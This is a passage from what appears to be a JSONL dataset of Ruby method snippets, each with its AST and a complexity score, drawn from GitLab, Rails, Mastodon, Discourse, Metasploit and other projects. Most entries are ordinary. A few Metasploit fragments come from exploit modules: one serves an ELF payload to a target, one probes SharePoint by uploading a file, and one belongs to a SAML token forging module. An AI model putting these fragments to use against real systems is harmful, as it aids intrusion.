[]},\"Sidebars\"]},\"Projects\"]},\"SuperSidebarMenus\"]},\"ManageMenu\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"projects#activity\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"activity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"shortcuts-project-activity\"]}]}]}]}]}]}]}","id":"f8928e0a-3c7e-4b0a-988d-fe6b7e322747"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/username_setting_validator.rb","start_line":6,"raw_source":"def initialize(opts = {})\n    @opts = opts\n    initialize_regex_opts(opts)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"initialize_regex_opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"497a9def-ccb8-47e2-a185-8e77b9c78728"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/web_test.rb","start_line":848,"raw_source":"def kill_bad\n    job = \"{ something bad }\"\n    score = Time.now.to_f\n    @config.redis do |conn|\n      conn.zadd(\"dead\", score, job)\n    end\n    [job, score]\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"kill_bad\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"str\",\"children\":[\"{ something bad }\"]}]},{\"type\":\"lvasgn\",\"children\":[\"score\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"zadd\",{\"type\":\"str\",\"children\":[\"dead\"]},{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"score\"]}]}]}]}","id":"5b67bd52-4d06-47e3-9e26-035902402aa6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/mutiny_subnetmask_exec.rb","start_line":159,"raw_source":"def on_request_uri(cli, request)\n    vprint_status(\"on_request_uri called, #{request} requested\")\n\n    if (not @elf_data)\n      print_error(\"A request came in, but the ELF archive wasn't ready yet!\")\n      return\n    end\n\n    print_good(\"Sending the ELF payload to the target...\")\n    @elf_sent = true\n    send_response(cli, @elf_data)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"on_request_uri called, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"str\",\"children\":[\" requested\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@elf_data\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"A request came in, but the ELF archive wasn't ready yet!\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Sending the ELF payload to the target...\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@elf_sent\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"ivar\",\"children\":[\"@elf_data\"]}]}]}]}","id":"476e0555-f5a9-4f70-a7c5-3f1a6fae4d6c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":415,"raw_source":"def visit_Arel_Nodes_TableAlias(o, collector)\n          collector = visit o.relation, collector\n          collector << \" \"\n          collector << quote_table_name(o.name)\n        end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_TableAlias\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"relation\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"name\"]}]}]}]}]}","id":"dd6b294d-6ba8-4a26-80f6-717c3779e610"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/schema/typed_work_package_schema.rb","start_line":54,"raw_source":"def work_package\n            @work_package ||= WorkPackage.new(project:, type:)\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@work_package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"type\"]}]}]}]}]}]}","id":"070d449d-9d69-4334-83b2-4cc0f7f50188"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/ms10_104_sharepoint.rb","start_line":100,"raw_source":"def check\n    peer = \"#{rhost}:#{rport}\"\n    filename = rand_text_alpha(rand(10) + 5) + '.txt'\n    contents = rand_text_alpha(rand(10) + 5)\n\n    print_status(\"Sending HTTP ConvertFile Request to upload the test file #{filename}\")\n    res = upload_file(filename, contents)\n\n    if res and res.code == 200 and res.body =~ /ConvertFileResponse/ and res.body =~ /<m_ce>CE_OTHER<\\/m_ce>/\n      return Exploit::CheckCode::Vulnerable\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":28.25,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".txt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending HTTP ConvertFile Request to upload the test file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"upload_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ConvertFileResponse\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<m_ce>CE_OTHER</m_ce>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}","id":"c267b173-2dad-4eab-964c-c54117e4dd51"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/page_sections_controller.rb","start_line":50,"raw_source":"def load_pageable\n        @pageable = if @page_section.present? && @page_section.pageable.present?\n                      @page_section.pageable\n                    elsif params[:page_id].present?\n                      current_store.theme_page_previews.friendly.find_by(id: params[:page_id]) ||\n                        current_store.page_previews.friendly.find(params[:page_id])\n                    elsif params[:theme_id].present?\n                      current_store.theme_previews.find(params[:theme_id])\n                    end\n      end","complexity_score":46.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load_pageable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@pageable\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page_section\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page_section\"]},\"pageable\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page_section\"]},\"pageable\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page_id\"]}]},\"present?\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"theme_page_previews\"]},\"friendly\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"page_previews\"]},\"friendly\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"theme_id\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"theme_previews\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"theme_id\"]}]}]},null]}]}]}]}]}","id":"71c2a71c-c737-4e72-b987-937fffbca513"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/bridge.rb","start_line":58,"raw_source":"def self.matching?(name, config)\n            !name.to_s.start_with?('.') &&\n              config.is_a?(Hash) &&\n              (config.key?(:trigger) || config.key?(:needs))\n          end","complexity_score":11.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"matching?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\".\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"trigger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"needs\"]}]}]}]}]}]}","id":"ca5cd63a-68f7-4424-a580-bead0d75664a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/commit.rb","start_line":56,"raw_source":"def where(options)\n          repo = options.delete(:repo)\n          raise 'Gitlab::Git::Repository is required' unless repo.respond_to?(:log)\n\n          repo.log(options)\n        end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repo\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"repo\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"log\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Gitlab::Git::Repository is required\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]},\"log\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"059758bf-170c-40ed-a595-222ac01672d2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20190306145741_add_lock_version_to_polls.rb","start_line":6,"raw_source":"def up\n    safety_assured do\n      add_column(\n        :polls,\n        :lock_version,\n        :integer,\n        null: false,\n        default: 0\n      )\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"polls\"]},{\"type\":\"sym\",\"children\":[\"lock_version\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"9304578d-9269-476c-a20f-31fdefcc0f53"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/application_helper.rb","start_line":264,"raw_source":"def within_authorization_flow?\n    session[:user_return_to].present? && Rails.application.routes.recognize_path(session[:user_return_to])[:controller] == 'oauth/authorizations'\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"within_authorization_flow?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_return_to\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"recognize_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_return_to\"]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"controller\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"oauth/authorizations\"]}]}]}]}","id":"6b7365a7-d485-4126-bcfb-78c7660b4742"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/mentions/create_all.rb","start_line":54,"raw_source":"def reject_notifiable_author(users)\n      users.reject { |user| authored_by?(user, notifiable) }\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reject_notifiable_author\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"authored_by?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"notifiable\"]}]}]}]}","id":"1cc521b9-7ebf-47c7-b869-20874d0d0e7b"}
{"repo_name":"tty","file_path":"./repos/tty/lib/tty/plugins.rb","start_line":80,"raw_source":"def names\n      plugins.reduce({}) do |hash, plugin|\n        hash[plugin.name] = plugin\n        hash\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugins\"]},\"reduce\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"plugin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"plugin\"]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}","id":"ecd61e7b-5e15-4d80-8769-147af0dc4d87"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/variable_interpolation.rb","start_line":38,"raw_source":"def var_nodes(nodes)\n          nodes.select { |n| n.variable? || n.reference? }\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"var_nodes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"variable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"reference?\"]}]}]}]}","id":"e89c168b-695a-464f-9768-57037a46d891"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.rb","start_line":375,"raw_source":"def validate_domains\n    unless validate_fqdn(vcenter_fqdn)\n      fail_with(Msf::Exploit::Failure::BadConfig, \"Invalid vCenter FQDN provided: #{vcenter_fqdn}\")\n    end\n\n    unless validate_fqdn(domain)\n      fail_with(Msf::Exploit::Failure::BadConfig, \"Invalid vCenter SSO domain provided: #{domain}\")\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_domains\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_fqdn\",{\"type\":\"send\",\"children\":[null,\"vcenter_fqdn\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid vCenter FQDN provided: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vcenter_fqdn\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_fqdn\",{\"type\":\"send\",\"children\":[null,\"domain\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid vCenter SSO domain provided: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain\"]}]}]}]}]}]}]}","id":"58add8ac-48bc-473b-842c-911b500ce489"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/confirm_email_warning.rb","start_line":31,"raw_source":"def email\n    current_user.unconfirmed_email || current_user.email\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"unconfirmed_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"email\"]}]}]}","id":"9e496d78-73d7-4926-95db-78c894576eba"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/lsp/server.rb","start_line":22,"raw_source":"def initialize(config_store)\n        $PROGRAM_NAME = \"rubocop --lsp #{ConfigFinder.project_root}\"\n\n        @reader = LanguageServer::Protocol::Transport::Io::Reader.new($stdin)\n        @writer = LanguageServer::Protocol::Transport::Io::Writer.new($stdout)\n        @runtime = RuboCop::LSP::Runtime.new(config_store)\n        @routes = Routes.new(self)\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_store\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvasgn\",\"children\":[\"$PROGRAM_NAME\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rubocop --lsp \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigFinder\"]},\"project_root\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@reader\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LanguageServer\"]},\"Protocol\"]},\"Transport\"]},\"Io\"]},\"Reader\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdin\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@writer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LanguageServer\"]},\"Protocol\"]},\"Transport\"]},\"Io\"]},\"Writer\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@runtime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"LSP\"]},\"Runtime\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"config_store\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@routes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Routes\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"e866ca26-50d0-4b58-92b6-c0449abb8081"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/binder.rb","start_line":491,"raw_source":"def loopback_addresses\n      t = Socket.ip_address_list.select do |addrinfo|\n        addrinfo.ipv6_loopback? || addrinfo.ipv4_loopback?\n      end\n      t.map! { |addrinfo| addrinfo.ip_address }; t.uniq!; t\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"loopback_addresses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Socket\"]},\"ip_address_list\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addrinfo\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addrinfo\"]},\"ipv6_loopback?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addrinfo\"]},\"ipv4_loopback?\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addrinfo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addrinfo\"]},\"ip_address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"uniq!\"]},{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}","id":"febd7664-d8a0-4704-939a-5a4350313fd8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/repositories_controller.rb","start_line":198,"raw_source":"def annotate\n    @entry = @repository.entry(@path, @rev)\n\n    unless @entry\n      show_error_not_found\n      return\n    end\n\n    @annotate  = @repository.scm.annotate(@path, @rev)\n    @changeset = @repository.find_changeset_by_name(@rev)\n\n    render \"annotate\", formats: [:html]\n  